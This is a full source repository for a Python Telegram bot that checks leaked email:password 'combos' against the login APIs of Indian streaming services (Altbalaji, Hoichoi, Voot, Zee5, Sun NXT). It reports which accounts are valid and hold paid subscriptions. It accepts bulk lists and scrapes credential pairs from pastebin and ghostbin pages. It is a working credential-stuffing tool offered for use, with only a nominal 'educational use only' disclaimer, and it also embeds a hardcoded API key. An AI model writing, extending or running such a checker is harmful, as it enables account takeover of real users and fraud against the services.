├── .gitignore
├── Bot
├── Checks
│ ├── Altbalaji.py
│ ├── hoichoi.py
│ ├── sun.py
│ ├── voot.py
│ └── zee5.py
├── Miscellaneous
│ └── Scraper.py
├── bot.py
└── message.py
├── LICENSE
├── Procfile
├── README.md
├── app.json
├── requirements.txt
└── start.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
95 | __pypackages__/
96 |
97 | # Celery stuff
98 | celerybeat-schedule
99 | celerybeat.pid
100 |
101 | # SageMath parsed files
102 | *.sage.py
103 |
104 | # Environments
105 | .env
106 | .venv
107 | env/
108 | venv/
109 | ENV/
110 | env.bak/
111 | venv.bak/
112 |
113 | # Spyder project settings
114 | .spyderproject
115 | .spyproject
116 |
117 | # Rope project settings
118 | .ropeproject
119 |
120 | # mkdocs documentation
121 | /site
122 |
123 | # mypy
124 | .mypy_cache/
125 | .dmypy.json
126 | dmypy.json
127 |
128 | # Pyre type checker
129 | .pyre/
130 | test.py
131 |
--------------------------------------------------------------------------------
/Bot/Checks/Altbalaji.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from datetime import date
3 | from message import Editmessage, Sendmessage, logger
4 |
5 | def altbalaji_helper(chat_id, combo):
6 | status = Sendmessage(chat_id, 'Checking...')
7 | try:
8 | combo_split = combo.split(':')
9 | inpumail = combo_split[0]
10 | inpupass = combo_split[1]
11 | except IndexError:
12 | return Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
13 | email= f'"username":"{inpumail}"'
14 | password = f'"password":"{inpupass}"'
15 |
16 | session_request = requests.Session()
17 | url = 'https://api.cloud.altbalaji.com/accounts/login?domain=IN'
18 | payload = '{%s,%s}' %(email, password)
19 | response = session_request.post(url, data=payload)
20 | result = response.json()
21 | if response.status_code != 200:
22 | state=result['status']
23 | code=result['code']
24 | messg = result['message']
25 | text = f'Bad Combo ❌\nCombo: {combo}
\nStatus: {state}\nCode: {code}\nMessage: {messg}\nSite: Altbalaji'
26 | Editmessage(chat_id, text, status)
27 | return
28 | session_token = result['session_token']
29 | subs_url = 'https://payment.cloud.altbalaji.com/accounts/orders?limit=1&domain=IN'
30 | head2 = {
31 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
32 | 'accept': 'application/json, text/plain, */*',
33 | 'sec-fetch-site': 'same-site',
34 | 'sec-fetch-mode': 'cors',
35 | 'sec-fetch-dest': 'empty',
36 | 'content-type': 'application/json',
37 | 'xssession': str(session_token),
38 | }
39 | response = session_request.get(subs_url, headers=head2)
40 | result = response.json()
41 | if result['orders'] == []:
42 | expired_text = f'Free Combo ❌\nSite: Altbalaji\nCombo: {combo}
\nStatus: Free'
43 | Editmessage(chat_id, expired_text, status)
44 | return
45 | validto = result['orders'][0]['dates']['valid_to']
46 | validtosplit = validto.split('T')[0]
47 | sub2split = validtosplit.split('-')
48 | trial = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) < date.today()
49 | if trial:
50 | free_text = f'Expired Combo ❌\nSite: Altbalaji\nCombo: {combo}
\nStatus: Expired/Free'
51 | Editmessage(chat_id, free_text, status)
52 | return
53 | days = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) - date.today()
54 | subscription = result['orders'][0]['product']['titles']
55 | Pack_name = subscription['default']
56 | Pack_recur = str(result['orders'][0]['product']['recurring'])
57 | Pack_date = subscription['en']
58 | pro_message = f'🌟 Hit Combo 💫\nSite: Altbalaji\nCombo: {combo}
\nStatus: Premium\nPlan: {Pack_name}\nType: {Pack_date}\nDays Left: {days.days}\nRecurring: {Pack_recur.capitalize()}'
59 | Editmessage(chat_id, pro_message, status)
60 |
--------------------------------------------------------------------------------
/Bot/Checks/hoichoi.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from datetime import date
3 | from message import Editmessage, Sendmessage, logger
4 |
5 | head = {
6 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
7 | 'accept': 'application/json, text/plain, */*',
8 | 'content-type': 'aapplication/json;charset=UTF-8',
9 | 'origin': 'https://www.hoichoi.tv',
10 | 'referer': 'https://www.hoichoi.tv/',
11 | }
12 | def hoichoi_helper(chat_id, combo):
13 | status = Sendmessage(chat_id, 'Checking...')
14 | try:
15 | combo_split = combo.split(':')
16 | inpumail = combo_split[0]
17 | inpupass = combo_split[1]
18 | except IndexError:
19 | print(combo)
20 | Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
21 | return
22 | email= f'"email":"{inpumail}"'
23 | password = f'"password":"{inpupass}"'
24 | session_request = requests.Session()
25 | url = 'https://prod-api.viewlift.com/identity/signin?site=hoichoitv&deviceId=browser-f76c181a-94b5-11eb-a8b3-0242ac130003'
26 | payload = '{%s,%s}' %(email, password)
27 | response = session_request.post(url,headers=head, data=payload)
28 | result = response.json()
29 | if response.status_code != 200:
30 | code=result['code']
31 | messg = result['error']
32 | text = f'Bad Combo ❌\nCombo: {combo}
\nCode: {code}\nMessage: {messg}\nSite: Hoichoi'
33 | Editmessage(chat_id, text, status)
34 | return
35 | elif result['isSubscribed'] == False:
36 | free_text = f'Expired Combo ❌\nSite: Altbalaji\nCombo: {combo}
\nStatus: Expired/Free'
37 | Editmessage(chat_id, free_text, status)
38 | return
39 | user_token = result['authorizationToken']
40 | head2 = {
41 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
42 | 'accept': 'application/json, text/plain, */*',
43 | 'authorization': user_token,
44 | 'origin': 'https://www.hoichoi.tv',
45 | 'referer':'https://www.hoichoi.tv/',
46 | 'x-api-key': 'PBSooUe91s7RNRKnXTmQG7z3gwD2aDTA6TlJp6ef'
47 | }
48 | url2 = 'https://prod-api.viewlift.com/subscription/user?site=hoichoitv&userId=f76c181a-94b5-11eb-a8b3-0242ac130003'
49 | session2 = session_request.get(url2, headers=head2)
50 | result2 = session2.json()
51 | timedioint = result2["subscriptionInfo"]["subscriptionEndDate"].split('T')[0]
52 | sub2split = timedioint.split('-')
53 | trial = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) - date.today()
54 | pro_message = f'🌟 Hit Combo 💫\nSite: Hoichoi\nCombo: {combo}
\nStatus: Premium\nPlan: {result2["subscriptionPlanInfo"]["name"]}\nDays Left: {trial.days}\nRecurring: {result2["subscriptionPlanInfo"]["renewable"]}'
55 | Editmessage(chat_id, pro_message, status)
56 | return
57 |
58 |
--------------------------------------------------------------------------------
/Bot/Checks/sun.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from bs4 import BeautifulSoup
3 | from message import Sendmessage, Editmessage
4 | import json
5 |
6 | head = {
7 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
8 | }
9 | # Grabbing Crsf token on recycling of heroku
10 | req = requests.get("https://www.sunnxt.com/", headers=head)
11 | soup = BeautifulSoup(req.content, "html.parser")
12 | crsf_token = soup.find("meta", {"name": "csrf-token"})['content']
13 |
14 |
15 | def Sun_helper(chat_id, combo):
16 | status = Sendmessage(chat_id, 'Checking...')
17 | try:
18 | combo_split = combo.split(':')
19 | email = combo_split[0]
20 | password = combo_split[1]
21 | except IndexError:
22 | print(combo)
23 | Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
24 | return
25 | head["x-csrf-token"] = crsf_token
26 | head["x-requested-with"] = 'XMLHttpRequest'
27 | head["accept"] = "application/json, text/plain, */*"
28 | head["content-type"] = "application/json;charset=UTF-8"
29 | ipu_mail = f'"email": "{email}"'
30 | ipu_pass = f'"password": "{password}"'
31 | payload = '{%s,%s}' %(ipu_mail, ipu_pass)
32 | req2 = requests.post("https://www.sunnxt.com/login", headers=head, data=payload)
33 | resonse = req2.json()
34 | if req2.status_code != 200:
35 | text = f'Bad Combo ❌\nCombo: {combo}
\nStatus: Error\nCode: {req2.status_code}\nMessage: {resonse["error"]}\nSite: Sun NXT'
36 | Editmessage(chat_id, text, status)
37 | return
38 | profile = json.loads(resonse["profile"])
39 | pack_active = profile["result"]["profile"]["subscriptionStatus"]
40 | if pack_active == "Expired" or pack_active == "Inactive":
41 | free_text = f'Free/Expired Combo ❌\nSite: Sun NXT\nCombo: {combo}
\nStatus: {pack_active}'
42 | Editmessage(chat_id, free_text, status)
43 | return
44 | pack_name = resonse["userSubscriptions"]["results"][0]["displayName"]
45 | date = resonse["userSubscriptions"]["results"][0]["validityEndDate"]
46 | pro_message = f'🌟 Hit Combo 💫\nSite: Sun NXT\nCombo: {combo}
\nStatus: {pack_active}\nPlan: {pack_name}\nExpire On: {date}'
47 | Editmessage(chat_id, pro_message, status)
48 | return
--------------------------------------------------------------------------------
/Bot/Checks/voot.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from message import Sendmessage, Editmessage, logger
3 | from datetime import datetime
4 |
5 |
6 | head = {
7 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
8 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
9 | 'sec-fetch-site': 'cross-site',
10 | 'sec-fetch-mode': 'cors',
11 | 'sec-fetch-dest': 'empty',
12 | 'content-type': 'application/json;charset=UTF-8',
13 | }
14 |
15 | def Voot_helper(chat_id, combo):
16 | status = Sendmessage(chat_id, 'Checking...')
17 | try:
18 | combo_split = combo.split(':')
19 | inpumail = combo_split[0]
20 | inpupass = combo_split[1]
21 | except IndexError:
22 | return Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
23 | session_requests = requests.session()
24 | email = f'"email": "{inpumail}"'
25 | password = f'"password":"{inpupass}"'
26 | payload = '{"type":"traditional","deviceId":"X11","deviceBrand":"PC/MAC","data":{%s,%s}}' % (
27 | email, password)
28 |
29 | login_url = "https://userauth.voot.com/usersV3/v3/login"
30 |
31 | result = session_requests.post(login_url, data=payload, headers=head)
32 | response = result.json()
33 | if result.status_code != 200:
34 | logger.info('Login Failed')
35 | code = response['status']['code']
36 | msg = response['status']['message']
37 | text = f'Bad Combo ❌\nCombo: {combo}
\nStatus: Error\nCode: {code}\nMessage: {msg}\nSite: Voot'
38 | Editmessage(chat_id, text, status)
39 | return
40 | acess = response['data']['authToken']['accessToken']
41 | head2 = {
42 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
43 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
44 | 'sec-fetch-site': 'same-site',
45 | 'sec-fetch-mode': 'cors',
46 | 'sec-fetch-dest': 'empty',
47 | 'accesstoken': str(acess),
48 | }
49 | subs_url = 'https://pxapi.voot.com/smsv4/int/ps/v1/voot/transaction/list'
50 | response = session_requests.get(subs_url, headers=head2)
51 | result = response.json()
52 | total = result['results']['total']
53 | if int(total) == 0:
54 | free_text = f'Expired Combo ❌\nSite: Voot\nCombo: {combo}
\nStatus: Expired'
55 | Editmessage(chat_id, free_text, status)
56 | return
57 | pay_list = result['results']['list'][0]
58 | ts = int(pay_list['endDate']['timeStamp'])
59 | print(ts)
60 | try:
61 | human = datetime.utcfromtimestamp(ts)
62 | except ValueError:
63 | human = datetime.fromtimestamp(ts/1000.0)
64 | expire = human < datetime.today()
65 | if expire:
66 | expire_text = f'Expired Combo ❌\nSite: Voot\nCombo: {combo}
\nStatus: Expired'
67 | Editmessage(chat_id, expire_text, status)
68 | return
69 | Pack_name = pay_list['itemDetails']['name']
70 | Pack_recur = pay_list['itemDetails']['isRenewable']
71 | days = human - datetime.today()
72 | pro_message = f'🌟 Hit Combo 💫\nSite: Voot\nCombo: {combo}
\nStatus: Premium\nPlan: {Pack_name}\nDays Left: {days.days}\nRecurring: {Pack_recur}'
73 | Editmessage(chat_id, pro_message, status)
74 |
75 |
76 |
--------------------------------------------------------------------------------
/Bot/Checks/zee5.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from message import logger, Sendmessage, Editmessage
3 | from datetime import date
4 |
5 | head = {
6 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
7 | 'accept': 'application/json',
8 | 'content-type': 'application/json',
9 | }
10 |
11 | def zee_helper(chat_id, combo):
12 | status = Sendmessage(chat_id, 'Checking....')
13 | try:
14 | combo_split = combo.split(':')
15 | inpumail = combo_split[0]
16 | inpupass = combo_split[1]
17 | except IndexError:
18 | Editmessage(chat_id, 'Enter Valid Combo😡😡', status)
19 | return
20 | session_requests = requests.session()
21 | email= f'"email": "{inpumail}"'
22 | password = f'"password":"{inpupass}"'
23 | payload = '{%s,%s}' %(email, password)
24 | login_url = "https://userapi.zee5.com/v2/user/loginemail"
25 | result = session_requests.post(login_url, data=payload, headers=head)
26 | response = result.json()
27 | if result.status_code != 200:
28 | logger.info('Login Failed')
29 | code = response['code']
30 | msg = response['message']
31 | text = f'Bad Combo ❌\nCombo: {combo}
\nStatus: Error\nCode: {code}\nMessage: {msg}\nSite: Zee5'
32 | Editmessage(chat_id, text, status)
33 | return
34 | acess = response['access_token']
35 | head2 = {
36 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
37 | 'accept': '*/*',
38 | 'sec-fetch-site': 'same-site',
39 | 'sec-fetch-mode': 'cors',
40 | 'sec-fetch-dest': 'empty',
41 | 'authorization': 'bearer '+str(acess),
42 | }
43 | subs_url = 'https://subscriptionapi.zee5.com/v1/subscription?translation=en&country=IN&include_all=flase'
44 | response1 = session_requests.get(subs_url, headers=head2)
45 | result1 = response1.json()
46 | # print(result1)
47 | if result1 == []:
48 | expire_text = f'Expired Combo ❌\nSite: Zee5\nCombo: {combo}
\nStatus: Expired'
49 | Editmessage(chat_id, expire_text, status)
50 | return
51 | timedioint = result1[0]["subscription_end"].split('T')[0]
52 | sub2split = timedioint.split('-')
53 | trial = date(int(sub2split[0]), int(sub2split[1]), int(sub2split[2])) - date.today()
54 | Pack_name = result1[0]['subscription_plan']['title']
55 | pack_price = str(result1[0]['subscription_plan']['price'])
56 | Pack_recur = result1[0]['recurring_enabled']
57 | Pack_pyed = result1[0]['payment_provider']
58 | pro_message = f'🌟 Hit Combo 💫\nSite: Zee5\nCombo: {combo}
\nPlan: {Pack_name}\nPrice: {pack_price} INR\nDays Left: {trial.days} Days\nPayment: {Pack_pyed}\nRecurring: {Pack_recur}'
59 | # print(pro_message)
60 | Editmessage(chat_id, pro_message, status)
--------------------------------------------------------------------------------
/Bot/Miscellaneous/Scraper.py:
--------------------------------------------------------------------------------
1 | import re
2 | from bs4 import BeautifulSoup
3 | import requests
4 | from throwbin import ThrowBin
5 | from message import Sendmessage, Editmessage
6 |
7 | def pastebin(chat_id, link):
8 | response = requests.get(link)
9 | soup = BeautifulSoup(response.content, 'html.parser')
10 | text = soup.find('textarea', 'textarea').text
11 | lst = re.findall('\S+@\S+.\S+:\S+', str(text))
12 | sperator = '\n'
13 | cleared = sperator.join(lst)
14 | Sendmessage(chat_id, cleared)
15 |
16 | def ghostbin(chat_id, link):
17 | response = requests.get(link)
18 | soup = BeautifulSoup(response.content, 'html.parser')
19 | text = soup.find('textarea', 'form-control').text
20 | lst = re.findall('\S+@\S+.\S+:\S+', str(text))
21 | sperator = '\n'
22 | cleared = sperator.join(lst)
23 | Sendmessage(chat_id, cleared)
24 |
25 | def text_scraper(chat_id, text):
26 | lst = re.findall('\S+@\S+.\S+:\S+', str(text))
27 | sperator = '\n'
28 | cleared = sperator.join(lst)
29 | Sendmessage(chat_id, cleared)
30 |
31 | def throwbin(chat_id, text):
32 | msg = Sendmessage(chat_id, 'Pasting...')
33 | try:
34 | real = text.split('|')
35 | title = real[0]
36 | real_text = real[1]
37 | except IndexError:
38 | real_text = text
39 | title = '@acc_checkbot'
40 | tb = ThrowBin()
41 | my_paste = tb.post(
42 | title=title,
43 | text=real_text,
44 | syntax="text"
45 | )
46 | print(f"Status {my_paste.status} | Link: {my_paste.link}")
47 | msg_txt = f'Pasted ✅\nStatus: {my_paste.status}\nLink: {my_paste.link}'
48 | Editmessage(chat_id, msg_txt, msg)
49 |
50 |
--------------------------------------------------------------------------------
/Bot/bot.py:
--------------------------------------------------------------------------------
1 | from telegram import InlineKeyboardButton, InlineKeyboardMarkup
2 | from telegram.ext import ( CommandHandler, Filters, MessageHandler, Updater)
3 | from message import Editmessage, Sendmessage, logger
4 | from Checks.Altbalaji import altbalaji_helper
5 | from Checks.hoichoi import hoichoi_helper
6 | from Checks.voot import Voot_helper
7 | from Checks.zee5 import zee_helper
8 | from Checks.sun import Sun_helper
9 | from Miscellaneous.Scraper import pastebin, text_scraper, throwbin, ghostbin
10 | import os
11 |
12 |
13 | bot_token = os.environ.get('TG_BOT_TOKEN')
14 | startmessage = [[
15 | InlineKeyboardButton(
16 | "Telegraph 📝",
17 | url='https://telegra.ph/Instructions-to-Use-This-Bot-04-07'
18 | ),
19 | InlineKeyboardButton(
20 | "DEV 👷🏻",
21 | url='https://t.me/pseudo_monk'
22 | )
23 | ]]
24 |
25 |
26 | def start(update, context):
27 | info = update.effective_user
28 | print(info)
29 | chat_id = info.id
30 | userid= info['username']
31 | text = f'Welcome @{userid}, To Account Check Bot, to know more use /help or read the telegraph below. This bot is provided for educational use only, any misuse then you should be responsible'
32 | Sendmessage(chat_id, text, reply_markup=InlineKeyboardMarkup(startmessage))
33 | return
34 |
35 |
36 | def combos_spilt(combos):
37 | split = combos.split('\n')
38 | return split
39 |
40 |
41 | def help(update, context):
42 | chat_id = update.message.chat_id
43 | text = "Available Sites:\n!alt~space~combo* - to check Altbalaji accounts\n!hoi~space~combo* - to check Hoichoi accounts\n!voo~space~combo* - to check Voot accounts\n!zee~space~combo* - to check Zee5 accounts\n\nMiscellaneous:-\n!pst~space~title|text - to paste text on Throwbin.io and get paste link(If you don't want to give title then skip it just send the text)\n\n*combo here means Email:password combination,':' is important."
44 | Sendmessage(chat_id, text, reply_markup= InlineKeyboardMarkup(startmessage))
45 |
46 | def duty(update, context):
47 | chat_id = update.message.chat_id
48 | text = update.message.text.split(' ', 1)
49 | if text[0] == '!alt':
50 | if '\n' in text[1]:
51 | simple = combos_spilt(text[1])
52 | for i in simple:
53 | altbalaji_helper(chat_id, i)
54 | Sendmessage(chat_id, 'Completed')
55 | else:
56 | altbalaji_helper(chat_id, text[1])
57 | elif text[0] == '!voo':
58 | if '\n' in text[1]:
59 | simple = combos_spilt(text[1])
60 | for i in simple:
61 | Voot_helper(chat_id, i)
62 | Sendmessage(chat_id, 'Completed')
63 | else:
64 | Voot_helper(chat_id, text[1])
65 | elif text[0] == '!hoi':
66 | if '\n' in text[1]:
67 | simple = combos_spilt(text[1])
68 | for i in simple:
69 | hoichoi_helper(chat_id, i)
70 | Sendmessage(chat_id, 'Completed')
71 | else:
72 | hoichoi_helper(chat_id, text[1])
73 | elif text[0] == '!zee':
74 | if '\n' in text[1]:
75 | simple = combos_spilt(text[1])
76 | for i in simple:
77 | zee_helper(chat_id, i)
78 | Sendmessage(chat_id, 'Completed')
79 | else:
80 | zee_helper(chat_id, text[1])
81 | elif text[0] == '!sun':
82 | if '\n' in text[1]:
83 | simple = combos_spilt(text[1])
84 | for i in simple:
85 | Sun_helper(chat_id, i)
86 | Sendmessage(chat_id, 'Completed')
87 | else:
88 | Sun_helper(chat_id, text[1])
89 | elif text[0] == '!pst':
90 | try:
91 | throwbin(chat_id, text[1])
92 | except IndexError:
93 | Sendmessage(chat_id, "Somethings wrong with your format!")
94 | else:
95 | logger.info('Unknown Command')
96 |
97 |
98 | def scraperdfnc(update, context):
99 | msg = update.message.text
100 | status_msg = update.message
101 | chat_id = status_msg.chat_id
102 | try:
103 | if 'pastebin' in msg:
104 | link = msg.split(' ')[1]
105 | pastebin(chat_id,link)
106 | elif 'ghostbin' in msg:
107 | link = msg.split(' ')[1]
108 | ghostbin(chat_id,link)
109 | else:
110 | scrape_text = status_msg['reply_to_message']['text']
111 | text_scraper(chat_id, scrape_text)
112 | except:
113 | Sendmessage(chat_id, 'Only Supports pastebin, please check if you send paste bin link')
114 |
115 | def main():
116 | updater = Updater(
117 | bot_token,
118 | use_context=True
119 | )
120 | dp = updater.dispatcher
121 | dp.add_handler(MessageHandler(Filters.text & ~Filters.command, duty))
122 | dp.add_handler(CommandHandler("scrape", scraperdfnc))
123 | dp.add_handler(CommandHandler("start", start))
124 | dp.add_handler(CommandHandler("help", help))
125 | logger.info("Bot Started!!!")
126 | updater.start_polling()
127 | updater.idle()
128 |
129 |
130 | if __name__ == "__main__":
131 | main()
132 |
--------------------------------------------------------------------------------
/Bot/message.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from telegram import Bot
3 | import os
4 |
5 | logging.basicConfig(
6 | format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
7 | level=logging.INFO
8 | )
9 | logger = logging.getLogger(__name__)
10 |
11 | bot_token = os.environ.get('TG_BOT_TOKEN')
12 | bot = Bot(bot_token)
13 |
14 | def Sendmessage(chat_id, text,reply_markup=None):
15 | try:
16 | message = bot.send_message(chat_id=chat_id, text=text, reply_to_message_id=None,parse_mode="HTML", reply_markup=reply_markup)
17 | msg_id = message.message_id
18 | return msg_id
19 | except Exception as e:
20 | logger.info(e)
21 | raise UserWarning
22 |
23 |
24 | def Editmessage(chat_id, text, msg_id, reply_markup=None):
25 | try:
26 | bot.edit_message_text(chat_id=chat_id, text=text, message_id=msg_id,parse_mode="HTML", reply_markup=reply_markup)
27 | except Exception as e:
28 | logger.info(e)
29 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Akash R Chandran
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Procfile:
--------------------------------------------------------------------------------
1 | worker : chmod +x start.sh && bash start.sh
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
14 | Telegram Bot using a simple Python Telegram Bot library, which can check if email and passwords are correct for many sites and returns if the account have any subscription 15 | | 16 |
17 | For Demo you can check
18 |
19 | ![]() |
22 |